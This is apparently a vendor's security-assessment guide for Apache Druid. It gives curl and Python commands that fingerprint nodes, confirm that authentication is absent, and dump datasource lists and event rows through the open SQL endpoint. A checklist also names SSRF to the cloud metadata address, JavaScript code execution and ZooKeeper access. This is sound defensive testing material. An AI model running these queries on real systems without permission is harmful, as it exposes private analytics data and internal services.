Apache Druid Security Testing: Unauthenticated Console, SQL Injection, SSRF, and Internal Data Exfiltration

Apache Druid is a high-performance real-time analytics database used by Alibaba, Netflix, Lyft, and thousands of enterprises for sub-second queries over petabytes of event data. Its security posture on default deployments is significantly permissive: the Druid web console on port 8888 and the Router/Broker REST API on port 8082 require no authentication by default — any network client can execute SQL queries against all datasources, enumerate all ingested data, view task history, and manage datasource configurations; Druid's ingestion API allows submitting tasks that load data from arbitrary URLs, enabling SSRF by triggering HTTP requests from Druid nodes to internal network targets including AWS metadata services; the JavaScript aggregation and post-aggregation functions, when enabled, allow arbitrary code execution on Historical and MiddleManager nodes (the vulnerability class behind CVE-2021-25646); TLS is disabled by default for all inter-node and client communication; and Druid's ZooKeeper dependency is typically deployed without authentication, allowing metadata manipulation. This guide covers systematic Apache Druid security assessment.

Table of Contents

  1. Druid Discovery and Node Enumeration
  2. Unauthenticated SQL Query and Data Exfiltration
  3. SSRF via Ingestion Specification
  4. JavaScript Execution Testing
  5. Apache Druid Security Hardening

Druid Discovery and Node Enumeration

# Apache Druid default ports:
# 8888 — Router (web console + unified API)
# 8082 — Broker (SQL queries)
# 8081 — Coordinator (segment management)
# 8083 — Historical (segment serving)
# 8091 — MiddleManager (ingestion)
# 8090 — Overlord (task management)

# Check Druid Router/web console
curl -s http://druid.example.com:8888/status 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Druid version: {data.get('version','?')}\")
modules = data.get('modules', [])
print(f'Loaded modules: {len(modules)}')
" 2>/dev/null

# Check if authentication is enabled
# Druid returns status without auth by default
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
  http://druid.example.com:8888/druid/coordinator/v1/datasources 2>/dev/null)
if [ "$HTTP_CODE" == "200" ]; then
  echo "Authentication NOT required — Druid accessible without credentials"
fi

Unauthenticated SQL Query and Data Exfiltration

# Druid SQL endpoint: POST /druid/v2/sql
# No authentication required on default deployments

# List all datasources via SQL
curl -s -X POST http://druid.example.com:8888/druid/v2/sql \
  -H "Content-Type: application/json" \
  -d '{"query": "SELECT datasource, COUNT(*) as segments FROM sys.segments GROUP BY 1 ORDER BY 2 DESC"}' 2>/dev/null | \
  python3 -c "
import json,sys
rows = json.load(sys.stdin)
print(f'Datasources: {len(rows)}')
for r in rows:
    print(f\"  {r.get('datasource','?')}: {r.get('segments','?')} segments\")
" 2>/dev/null

# Query actual event data from a datasource
DATASOURCE="user_events"
curl -s -X POST http://druid.example.com:8888/druid/v2/sql \
  -H "Content-Type: application/json" \
  -d "{\"query\": \"SELECT * FROM \\\"${DATASOURCE}\\\" LIMIT 20\"}" 2>/dev/null | \
  python3 -c "
import json,sys
rows = json.load(sys.stdin)
if rows:
    print(f'Columns: {list(rows[0].keys())}')
    print(f'Returned {len(rows)} rows')
" 2>/dev/null

Apache Druid Security Hardening

Apache Druid Security Hardening Checklist:
Security TestMethodRisk
Web console and REST API without authenticationGET /status or POST /druid/v2/sql without credentials — 200 with data means no auth configuredCritical
All analytics data queryable via SQLSELECT * FROM datasource — exports all ingested event data without authorizationCritical
SSRF via ingestion spec URLSubmit ingestion task with inputSource URL pointing to 169.254.169.254 — Druid node makes requestHigh
JavaScript execution enabledQuery with JavaScript aggregator function — executes arbitrary code on Historical/MiddleManager nodesHigh
ZooKeeper accessible without authenticationzkCli.sh connect to ZK port 2181 — enumerates all Druid cluster metadata and configurationHigh
Task submission disrupts data pipelinePOST /druid/indexer/v1/task with invalid spec — overwrites or corrupts datasource ingestionMedium

Automate Apache Druid Security Testing

Ironimo tests Apache Druid deployments for unauthenticated web console and REST API access allowing full analytics data exfiltration via SQL queries, SSRF via ingestion specification URLs causing Druid nodes to connect to internal network targets including AWS metadata, JavaScript function execution enabled allowing code execution on Historical and MiddleManager nodes, unencrypted inter-node and client communication exposing all data in transit, and ZooKeeper deployed without authentication enabling cluster metadata manipulation.

Start free scan